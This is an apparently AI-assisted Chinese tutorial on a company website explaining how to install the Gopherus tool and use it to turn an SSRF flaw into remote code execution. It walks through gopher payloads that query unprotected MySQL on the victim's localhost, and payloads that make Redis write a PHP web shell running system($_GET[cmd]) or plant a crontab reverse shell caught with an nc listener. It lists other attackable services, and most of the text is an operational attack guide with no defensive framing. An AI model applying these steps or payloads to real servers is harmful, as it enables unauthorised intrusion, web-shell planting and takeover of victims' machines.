Gopherus SSRF 利用实战：从装好到拿到 Shell 的完整流程-北京尧图网络

Gopherus SSRF 利用实战从装好到拿到 Shell 的完整流程【免费下载链接】GopherusThis tool generates gopher link for exploiting SSRF and gaining RCE in various servers项目地址: https://gitcode.com/gh_mirrors/go/GopherusGopherus 就干一件事把 SSRF 入口变成 RCE。你手里有个能打到内网 3306、6379 这类端口的 SSRF 点它负责生成对应的 Gopher 协议载荷你填进漏洞入口服务器就会按你的指令去连内网服务、执行你埋下的操作。dump 数据、写文件、反弹 shell它都管。环境准备python2 是硬要求这个项目是 Python 2 写的代码不是 Python 3。Linux 或 macOS 上先跑一下python2 --version能看到 2.7.x 就能开干。较新的发行版默认不带 python2得先装sudo apt install python2 python2-pip外部依赖只有 argparse 和 requests 两个install.sh 会替你装好不用手动操心。克隆安装三条命令跑通git clone https://gitcode.com/gh_mirrors/go/Gopherus cd Gopherus sudo ./install.sh如果 install.sh 提示没有执行权限先补一句chmod x install.sh。脚本里干的事很简单用 python2 的 pip 装好两个依赖、给 gopherus.py 加执行权限、再在 /usr/local/bin 下建一个软链接装完你在任何目录都能直接敲gopherus。验证一下在终端直接跑gopherus看到 Gopherus 的大字 logo 和用法说明就说明装好了先用 MySQL 走一遍完整流程直接跑gopherus --exploit mysql它会问两个问题先输 MySQL 用户名再输你要执行的查询语句比如 show databases。注意它开头那句红字——前提是目标上的这个账号没有密码保护否则握手走不通。输完它会吐出一条很长的gopher://127.0.0.1:3306/_%开头的链接把这条链接塞进 SSRF 入口的 URL 参数里触发。目标服务器会跟着链接去连它自己机器上的 127.0.0.1:3306执行你埋进去的查询结果顺着 SSRF 的响应回传。链接里的 127.0.0.1 是关键它代表受害者的 localhost别手滑改成自己的 IP。再用 Redis 拿目标 Shellgopherus --exploit redis二选一ReverseShell 或 PHPShell。选 PHPShell 的话它会问 Web 根目录默认 /var/www/html和 PHP 载荷默认一行system($_GET[cmd])直接回车用默认值就行然后输出一条让 Redis 改保存目录、把 shell 文件写出去的 Gopher 载荷拿这条链接走 SSRF 发过去目标的 Web 根目录里会多出 shell.php浏览器带 cmd 参数访问就拿到 RCE。选 ReverseShell 的话记得先在自己机器上nc -lvp 1234听好回连端口默认就是 1234。PostgreSQL、FastCGI、Zabbix、SMTP还有 Memcached 的 pymemcache / rbmemcache / phpmemcache 三套都支持换个--exploit参数就行。容易踩的坑python3 直接跑 gopherus.py 会当场报错全程 Python 2 语法系统干净的话先装 python2。MySQL 场景下账号带密码就白搭工具的前提是无密码账号动手前先确认。Redis 反弹 shell 的 crontab 目录默认写的是 /var/spool/cron/目标系统路径不同的话手动改本地调试可以用 /var/lib/redis。【免费下载链接】GopherusThis tool generates gopher link for exploiting SSRF and gaining RCE in various servers项目地址: https://gitcode.com/gh_mirrors/go/Gopherus创作声明：本文部分内容由AI辅助生成（AIGC），仅供参考

Gopherus SSRF 利用实战：从装好到拿到 Shell 的完整流程

相关推荐

纯NumPy+Matplotlib实现智能路径跟踪：python_simple_mppi 跟随案例源码逐行精讲

AI编程助手安全防护：SkillGate运行时恶意文件检测方案

Davinci 前端技术栈全解：React TypeScript 数据可视化平台如何搭建

更多资讯

个人电工证怎样补办 2026河南最新政策教你一步到位

江西电工证真伪查询怎么查？上岗必备证书别被坑了

住建部电工证图片高清查询 2026河南最新政策怎么走？

房县电工证报考流程全攻略：上岗必备怎么避开中介坑

孟津电工证哪里办？郑州报考避坑指南全攻略

济南电工证啥时候考的？考前押题助你少走弯路

今日更新

电工证考试及格线你知道多少？值不值得考

南通电工证发证单位考前押题怎么搞？工地太忙根本没时间复习考试

黄陵县高低压电工证怎么考？上岗必备全流程避坑指南

本周精选

安监局电工证分数查询怎么查才能知道含金量高不高

新疆电工作业干活累吗良心建议助你避开考不过的坑

中牟县电工证怎么报名外省证能转吗

本月热门

面向复杂光照与角度的宠物面部识别鲁棒性增强策略

基于DRV8818与STM32的双极步进电机驱动方案实战解析

DRV8818PWPR+PIC18F45K80双极步进电机控制方案实战

读完文章，想聊聊您的网站？